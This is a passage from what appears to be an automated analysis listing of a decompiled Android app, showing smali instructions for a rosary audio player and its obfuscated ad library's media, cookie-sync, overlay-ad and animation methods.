6 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$500(Lcom/vxjxu/jkhfn1870/OverlayAd;)Landroid/webkit/WebView; | |
7 | move-result-object v0 | |
8 | if-ne p1, v0, :cond_14 | |
10 | invoke-virtual {p2}, Landroid/view/MotionEvent;->getAction()I | |
11 | move-result v0 | |
12 | if-nez v0, :cond_14 | |
14 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$2;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd; | |
15 | const/4 v1, 0x1 | |
17 | invoke-static {v0, v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$102(Lcom/vxjxu/jkhfn1870/OverlayAd;Z)Z |
|
18 | cond_14: const/4 v0, 0x0 | |
19 | return v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onStop()V | |
4 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
5 | if-eqz v0, :cond_17 | |
7 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
9 | invoke-virtual {v0}, Landroid/media/MediaPlayer;->pause()V | |
11 | iget-object v0, p0, Lprsolutions/rosariofacileads/Player;->mPause:Landroid/widget/Button; | |
12 | const v1, 0x7f050012 | |
14 | invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(I)V |
|
15 | const/4 v0, 0x1 | |
16 | iput v0, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
17 | cond_17: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "dialog" # Landroid/content/DialogInterface; | |
1 | .param p2, "which" # I | |
2 | .prologue | |
4 | invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V | |
5 | new-instance v0, Ljava/lang/Thread; | |
6 | new-instance v1, Lcom/vxjxu/jkhfn1870/MraidView$2$1; | |
8 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/MraidView$2$1;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$2;)V | |
10 | invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
12 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
13 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onPause()V | |
3 | try_start_3: | |
4 | invoke-static {}, Landroid/webkit/CookieSyncManager;->getInstance()Landroid/webkit/CookieSyncManager; | |
5 | move-result-object v0 | |
7 | invoke-virtual {v0}, Landroid/webkit/CookieSyncManager;->stopSync()V | |
8 | try_end_a: return-void | |
9 | catch_b: move-exception v0 | |
10 | goto/16 :goto_a |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onResume()V | |
3 | try_start_3: | |
4 | invoke-static {}, Landroid/webkit/CookieSyncManager;->getInstance()Landroid/webkit/CookieSyncManager; | |
5 | move-result-object v0 | |
7 | invoke-virtual {v0}, Landroid/webkit/CookieSyncManager;->startSync()V | |
8 | try_end_a: return-void | |
9 | catch_b: move-exception v0 | |
10 | goto/16 :goto_a |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onAttachedToWindow()V | |
4 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getWindow()Landroid/view/Window; | |
5 | move-result-object v0 | |
6 | const/4 v1, 0x1 | |
8 | invoke-virtual {v0, v1}, Landroid/view/Window;->setFormat(I)V |
|
9 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "hasWindowFocus" # Z | |
1 | .prologue | |
3 | invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/AdView;->actionOnViewChanges(Z)V | |
5 | invoke-super {p0, p1}, Landroid/widget/FrameLayout;->onWindowFocusChanged(Z)V | |
7 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getParent()Landroid/view/ViewParent; | |
8 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/webkit/WebView;->onAnimationEnd()V | |
4 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
5 | if-eqz v0, :cond_11 | |
7 | const-string v0, "Animation end." | |
9 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
11 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
13 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener;->onAnimationDrawEnd()V | |
14 | cond_11: return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | const-string v0, "Getting new ad...." | |
4 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
6 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$9;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
8 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V | |
9 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lprsolutions/rosariofacileads/Countdown;->tv:Landroid/widget/TextView; | |
4 | const-string v1, "done" | |
6 | invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V |
|
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/16 v8, 0xe | |
2 | const/16 v7, 0x12 | |
3 | const/4 v6, 0x7 | |
4 | const/16 v4, 0x95 | |
5 | const/4 v5, 0x0 | |
7 | invoke-direct {p0}, Landroid/app/Activity;-><init>()V | |
8 | iput v5, p0, Lprsolutions/rosariofacileads/Player;->pausa:I | |
9 | iput v5, p0, Lprsolutions/rosariofacileads/Player;->playingNow:I | |
10 | iput v5, p0, Lprsolutions/rosariofacileads/Player;->pallino:I | |
11 | iput v5, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
12 | const/16 v0, 0x3b | |
13 | new-array v0, v0, [Lprsolutions/rosariofacileads/Player$Coord; | |
14 | new-instance v1, Lprsolutions/rosariofacileads/Player$Coord; | |
15 | const/16 v2, 0x88 | |
17 | invoke-direct {v1, p0, v4, v2}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
18 | aput-object v1, v0, v5 | |
19 | const/4 v1, 0x1 | |
20 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
21 | const/16 v3, 0x77 | |
23 | invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
24 | aput-object v2, v0, v1 | |
25 | const/4 v1, 0x2 | |
26 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
27 | const/16 v3, 0x65 | |
29 | invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
30 | aput-object v2, v0, v1 | |
31 | const/4 v1, 0x3 | |
32 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
33 | const/16 v3, 0x51 | |
35 | invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
36 | aput-object v2, v0, v1 | |
37 | const/4 v1, 0x4 | |
38 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
39 | const/16 v3, 0x3b | |
41 | invoke-direct {v2, p0, v4, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
42 | aput-object v2, v0, v1 | |
43 | const/4 v1, 0x5 | |
44 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
45 | const/16 v3, 0xa6 | |
46 | const/16 v4, 0x33 | |
48 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
49 | aput-object v2, v0, v1 | |
50 | const/4 v1, 0x6 | |
51 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
52 | const/16 v3, 0xb5 | |
53 | const/16 v4, 0x27 | |
55 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
56 | aput-object v2, v0, v1 | |
57 | new-instance v1, Lprsolutions/rosariofacileads/Player$Coord; | |
58 | const/16 v2, 0xc3 | |
59 | const/16 v3, 0x19 | |
61 | invoke-direct {v1, p0, v2, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
62 | aput-object v1, v0, v6 | |
63 | const/16 v1, 0x8 | |
64 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
65 | const/16 v3, 0xd1 | |
67 | invoke-direct {v2, p0, v3, v8}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
68 | aput-object v2, v0, v1 | |
69 | const/16 v1, 0x9 | |
70 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
71 | const/16 v3, 0xe2 | |
72 | const/4 v4, 0x6 | |
74 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
75 | aput-object v2, v0, v1 | |
76 | const/16 v1, 0xa | |
77 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
78 | const/16 v3, 0xf4 | |
80 | invoke-direct {v2, p0, v3, v6}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
81 | aput-object v2, v0, v1 | |
82 | const/16 v1, 0xb | |
83 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
84 | const/16 v3, 0x102 | |
85 | const/16 v4, 0x14 | |
87 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
88 | aput-object v2, v0, v1 | |
89 | const/16 v1, 0xc | |
90 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
91 | const/16 v3, 0x10d | |
92 | const/16 v4, 0x22 | |
94 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
95 | aput-object v2, v0, v1 | |
96 | const/16 v1, 0xd | |
97 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
98 | const/16 v3, 0x115 | |
99 | const/16 v4, 0x30 | |
101 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
102 | aput-object v2, v0, v1 | |
103 | new-instance v1, Lprsolutions/rosariofacileads/Player$Coord; | |
104 | const/16 v2, 0x11b | |
105 | const/16 v3, 0x42 | |
107 | invoke-direct {v1, p0, v2, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
108 | aput-object v1, v0, v8 | |
109 | const/16 v1, 0xf | |
110 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
111 | const/16 v3, 0x120 | |
112 | const/16 v4, 0x52 | |
114 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
115 | aput-object v2, v0, v1 | |
116 | const/16 v1, 0x10 | |
117 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
118 | const/16 v3, 0x121 | |
119 | const/16 v4, 0x66 | |
121 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
122 | aput-object v2, v0, v1 | |
123 | const/16 v1, 0x11 | |
124 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
125 | const/16 v3, 0x11f | |
126 | const/16 v4, 0x75 | |
128 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
129 | aput-object v2, v0, v1 | |
130 | new-instance v1, Lprsolutions/rosariofacileads/Player$Coord; | |
131 | const/16 v2, 0x11b | |
132 | const/16 v3, 0x84 | |
134 | invoke-direct {v1, p0, v2, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
135 | aput-object v1, v0, v7 | |
136 | const/16 v1, 0x13 | |
137 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
138 | const/16 v3, 0x117 | |
139 | const/16 v4, 0x92 | |
141 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
142 | aput-object v2, v0, v1 | |
143 | const/16 v1, 0x14 | |
144 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
145 | const/16 v3, 0x112 | |
146 | const/16 v4, 0xa3 | |
148 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
149 | aput-object v2, v0, v1 | |
150 | const/16 v1, 0x15 | |
151 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
152 | const/16 v3, 0x10b | |
153 | const/16 v4, 0xb2 | |
155 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
156 | aput-object v2, v0, v1 | |
157 | const/16 v1, 0x16 | |
158 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
159 | const/16 v3, 0x104 | |
160 | const/16 v4, 0xc0 | |
162 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
163 | aput-object v2, v0, v1 | |
164 | const/16 v1, 0x17 | |
165 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
166 | const/16 v3, 0xfb | |
167 | const/16 v4, 0xcf | |
169 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
170 | aput-object v2, v0, v1 | |
171 | const/16 v1, 0x18 | |
172 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
173 | const/16 v3, 0xf2 | |
174 | const/16 v4, 0xda | |
176 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
177 | aput-object v2, v0, v1 | |
178 | const/16 v1, 0x19 | |
179 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
180 | const/16 v3, 0xe6 | |
181 | const/16 v4, 0xe7 | |
183 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
184 | aput-object v2, v0, v1 | |
185 | const/16 v1, 0x1a | |
186 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
187 | const/16 v3, 0xdb | |
188 | const/16 v4, 0xf6 | |
190 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
191 | aput-object v2, v0, v1 | |
192 | const/16 v1, 0x1b | |
193 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
194 | const/16 v3, 0xd2 | |
195 | const/16 v4, 0x104 | |
197 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
198 | aput-object v2, v0, v1 | |
199 | const/16 v1, 0x1c | |
200 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
201 | const/16 v3, 0xc7 | |
202 | const/16 v4, 0x110 | |
204 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
205 | aput-object v2, v0, v1 | |
206 | const/16 v1, 0x1d | |
207 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
208 | const/16 v3, 0xbb | |
209 | const/16 v4, 0x11b | |
211 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
212 | aput-object v2, v0, v1 | |
213 | const/16 v1, 0x1e | |
214 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
215 | const/16 v3, 0xaf | |
216 | const/16 v4, 0x126 | |
218 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
219 | aput-object v2, v0, v1 | |
220 | const/16 v1, 0x1f | |
221 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
222 | const/16 v3, 0xa2 | |
223 | const/16 v4, 0x12c | |
225 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
226 | aput-object v2, v0, v1 | |
227 | const/16 v1, 0x20 | |
228 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
229 | const/16 v3, 0x92 | |
230 | const/16 v4, 0x12c | |
232 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
233 | aput-object v2, v0, v1 | |
234 | const/16 v1, 0x21 | |
235 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
236 | const/16 v3, 0x84 | |
237 | const/16 v4, 0x126 | |
239 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
240 | aput-object v2, v0, v1 | |
241 | const/16 v1, 0x22 | |
242 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
243 | const/16 v3, 0x7a | |
244 | const/16 v4, 0x11a | |
246 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
247 | aput-object v2, v0, v1 | |
248 | const/16 v1, 0x23 | |
249 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
250 | const/16 v3, 0x6f | |
251 | const/16 v4, 0x110 | |
253 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
254 | aput-object v2, v0, v1 | |
255 | const/16 v1, 0x24 | |
256 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
257 | const/16 v3, 0x66 | |
258 | const/16 v4, 0x104 | |
260 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
261 | aput-object v2, v0, v1 | |
262 | const/16 v1, 0x25 | |
263 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
264 | const/16 v3, 0x5c | |
265 | const/16 v4, 0xf6 | |
267 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
268 | aput-object v2, v0, v1 | |
269 | const/16 v1, 0x26 | |
270 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
271 | const/16 v3, 0x53 | |
272 | const/16 v4, 0xe7 | |
274 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
275 | aput-object v2, v0, v1 | |
276 | const/16 v1, 0x27 | |
277 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
278 | const/16 v3, 0x48 | |
279 | const/16 v4, 0xd9 | |
281 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
282 | aput-object v2, v0, v1 | |
283 | const/16 v1, 0x28 | |
284 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
285 | const/16 v3, 0x3f | |
286 | const/16 v4, 0xcb | |
288 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
289 | aput-object v2, v0, v1 | |
290 | const/16 v1, 0x29 | |
291 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
292 | const/16 v3, 0x36 | |
293 | const/16 v4, 0xbc | |
295 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
296 | aput-object v2, v0, v1 | |
297 | const/16 v1, 0x2a | |
298 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
299 | const/16 v3, 0x2e | |
300 | const/16 v4, 0xae | |
302 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
303 | aput-object v2, v0, v1 | |
304 | const/16 v1, 0x2b | |
305 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
306 | const/16 v3, 0x28 | |
307 | const/16 v4, 0xa0 | |
309 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
310 | aput-object v2, v0, v1 | |
311 | const/16 v1, 0x2c | |
312 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
313 | const/16 v3, 0x21 | |
314 | const/16 v4, 0x92 | |
316 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
317 | aput-object v2, v0, v1 | |
318 | const/16 v1, 0x2d | |
319 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
320 | const/16 v3, 0x1c | |
321 | const/16 v4, 0x83 | |
323 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
324 | aput-object v2, v0, v1 | |
325 | const/16 v1, 0x2e | |
326 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
327 | const/16 v3, 0x16 | |
328 | const/16 v4, 0x75 | |
330 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
331 | aput-object v2, v0, v1 | |
332 | const/16 v1, 0x2f | |
333 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
334 | const/16 v3, 0x66 | |
336 | invoke-direct {v2, p0, v7, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
337 | aput-object v2, v0, v1 | |
338 | const/16 v1, 0x30 | |
339 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
340 | const/16 v3, 0x52 | |
342 | invoke-direct {v2, p0, v7, v3}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
343 | aput-object v2, v0, v1 | |
344 | const/16 v1, 0x31 | |
345 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
346 | const/16 v3, 0x17 | |
347 | const/16 v4, 0x42 | |
349 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
350 | aput-object v2, v0, v1 | |
351 | const/16 v1, 0x32 | |
352 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
353 | const/16 v3, 0x19 | |
354 | const/16 v4, 0x30 | |
356 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
357 | aput-object v2, v0, v1 | |
358 | const/16 v1, 0x33 | |
359 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
360 | const/16 v3, 0x20 | |
361 | const/16 v4, 0x20 | |
363 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
364 | aput-object v2, v0, v1 | |
365 | const/16 v1, 0x34 | |
366 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
367 | const/16 v3, 0x2a | |
369 | invoke-direct {v2, p0, v3, v7}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
370 | aput-object v2, v0, v1 | |
371 | const/16 v1, 0x35 | |
372 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
373 | const/16 v3, 0x3a | |
375 | invoke-direct {v2, p0, v3, v6}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
376 | aput-object v2, v0, v1 | |
377 | const/16 v1, 0x36 | |
378 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
379 | const/16 v3, 0x4b | |
381 | invoke-direct {v2, p0, v3, v6}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
382 | aput-object v2, v0, v1 | |
383 | const/16 v1, 0x37 | |
384 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
385 | const/16 v3, 0x59 | |
387 | invoke-direct {v2, p0, v3, v8}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
388 | aput-object v2, v0, v1 | |
389 | const/16 v1, 0x38 | |
390 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
391 | const/16 v3, 0x67 | |
392 | const/16 v4, 0x1a | |
394 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
395 | aput-object v2, v0, v1 | |
396 | const/16 v1, 0x39 | |
397 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
398 | const/16 v3, 0x75 | |
399 | const/16 v4, 0x27 | |
401 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
402 | aput-object v2, v0, v1 | |
403 | const/16 v1, 0x3a | |
404 | new-instance v2, Lprsolutions/rosariofacileads/Player$Coord; | |
405 | const/16 v3, 0x83 | |
406 | const/16 v4, 0x35 | |
408 | invoke-direct {v2, p0, v3, v4}, Lprsolutions/rosariofacileads/Player$Coord;-><init>(Lprsolutions/rosariofacileads/Player;II)V | |
409 | aput-object v2, v0, v1 | |
410 | iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->coordinate:[Lprsolutions/rosariofacileads/Player$Coord; | |
411 | const/16 v0, 0x51 | |
412 | new-array v0, v0, [I | |
413 | fill-array-data v0, :array_310 | |
414 | iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->sequenza:[I | |
415 | new-instance v0, Landroid/util/DisplayMetrics; | |
417 | invoke-direct {v0}, Landroid/util/DisplayMetrics;-><init>()V | |
418 | iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->metrics:Landroid/util/DisplayMetrics; | |
419 | iput-boolean v5, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z | |
420 | new-instance v0, Lprsolutions/rosariofacileads/Player$1; | |
422 | invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/Player$1;-><init>(Lprsolutions/rosariofacileads/Player;)V | |
423 | iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->mPlayerListener:Landroid/media/MediaPlayer$OnCompletionListener; | |
424 | new-instance v0, Lprsolutions/rosariofacileads/Player$2; | |
426 | invoke-direct {v0, p0}, Lprsolutions/rosariofacileads/Player$2;-><init>(Lprsolutions/rosariofacileads/Player;)V | |
427 | iput-object v0, p0, Lprsolutions/rosariofacileads/Player;->mPauseListener:Landroid/view/View$OnClickListener; | |
428 | return-void |
Cross References |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation build Landroid/annotation/SuppressLint; | |
1 | value = { | |
2 | "InlinedApi" | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | try_start_0: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I | |
7 | const/16 v1, 0xb | |
8 | if-lt v0, v1, :cond_13 | |
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
12 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getWindow()Landroid/view/Window; | |
